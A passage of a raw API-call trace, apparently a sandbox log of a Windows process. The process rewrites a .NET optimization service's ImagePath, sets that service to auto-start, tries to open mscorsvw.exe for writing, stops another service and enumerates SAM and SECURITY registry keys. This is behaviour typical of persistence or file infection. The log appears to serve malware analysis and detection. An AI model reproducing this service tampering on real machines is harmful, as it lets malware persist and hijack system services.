lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0249.157] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0249.157] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0249.157] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0249.160] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0249.160] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0249.160] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0249.160] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0249.160] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0249.160] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0249.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0249.160] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0249.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0249.161] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0249.161] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0249.161] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0249.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0249.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0249.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.161] LocalFree (hMem=0x7f03d0) returned 0x0 [0249.161] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0249.161] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x8038a0 [0249.162] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0249.163] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0249.164] RegCloseKey (hKey=0x154) returned 0x0 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0249.164] RegCloseKey (hKey=0x148) returned 0x0 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0249.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0249.164] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0249.164] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.164] GetLastError () returned 0x20 [0249.164] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0249.165] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0249.165] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0249.165] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x20) returned 0x803990 [0249.165] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0249.177] CloseServiceHandle (hSCObject=0x803990) returned 1 [0249.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0249.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0249.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0249.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0249.177] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.177] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0249.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.178] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.178] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.178] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.178] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.179] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.179] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.179] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.179] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.179] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.180] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.180] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.180] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0249.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.181] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.181] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 